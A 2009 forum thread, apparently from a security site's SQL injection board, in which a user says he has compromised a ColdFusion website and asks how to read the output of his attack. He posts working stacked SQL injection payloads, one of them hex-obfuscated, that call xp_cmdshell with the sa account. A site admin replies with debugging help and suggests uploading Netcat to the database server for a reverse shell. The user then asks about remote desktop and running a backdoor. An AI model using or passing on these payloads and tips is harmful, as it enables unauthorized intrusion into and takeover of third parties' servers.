|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 48
Members: 0
Total: 48
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Help me with sqlinjection with CFM with sa acc in sql server |
|
Posted: Sat Dec 26, 2009 1:37 pm |
|
|
proaspx |
Regular user |
|
|
Joined: Dec 26, 2009 |
Posts: 7 |
|
|
|
|
|
|
|
I hacked webiste with sql injection coldfusion
Sql user= sa
I tried to get real IP address of sql server to do remote desktop
drop table k1 create table k1 (id int identity,nn varchar(max)) insert into k1 exec master..xp_cmdshell 'ipconfig'
;declare%20@sql%20varchar(4000)%20set%20@sql=cast(0x64726f70207461626c65206b3120637265617465207461626c65206b312028696420696e74206964656e746974792c6e6e2076617263686172286d6178292920696e7365727420696e746f206b312065786563206d61737465722e2e78705f636d647368656c6c20276970636f6e66696727%20as%20varchar(4000))%20exec(@sql);--sp_password
when i query data in table K1
But i cant get
7/ Connection-specific DNS Suf = 31 lenghg
8/ IP Address. . . . . . . . .
all data is not full cause not enough length so i cant see real IP of sql server
7/ Connection-specific DNS Suf = 31 length
8/ IP Address. . . . . . . . .=31 length
Data query must = 45 length of string to see real IP
Any body can help ? |
|
|
|
|
|
|
|
|
Posted: Sat Dec 26, 2009 2:03 pm |
|
|
proaspx |
Regular user |
|
|
Joined: Dec 26, 2009 |
Posts: 7 |
|
|
|
|
|
|
|
I known the real reason
[Macromedia][SQLServer JDBC Driver][SQLServer]Conversion failed when converting the varchar value ' IP Address. . . . . . . . .' to data type int.
Maybe error in coldfusion can display only 32 charactor...
Any body can help me see more character... |
|
|
|
|
|
|
|
|
Posted: Sat Dec 26, 2009 4:57 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
xp_cmdshell should work fine, so I guess, that data in table k1 is in full form and you have problem getting data back from k1?
How can you fetch data from k1? Via UNION SELECT? Tried using substrings?
And by the way, better option is to upload Netcat to the database server and execute it for reverse shell. But before that you can do ping in order to confirm, that database server can communicate with your computer.
One more thing I spotted ... table k1 ... you declared it as:
create table k1 (id int identity,nn varchar(max))
Try using direct value:
create table k1 (id int identity,nn varchar(4000))
And by the way, what version of MS SQL it is? 2005? 2000? |
|
|
|
|
|
|
|
|
Posted: Sat Jan 02, 2010 7:52 am |
|
|
proaspx |
Regular user |
|
|
Joined: Dec 26, 2009 |
Posts: 7 |
|
|
|
|
|
|
|
thanks admin \
I used left(nn,32) in sql function and problem sloved
But ip of sql server is : 192.168.1.107
SQl server and host is not same IP
how can we known real IP of sql server to do something like :Remote desktop , run backdoor in web browser |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|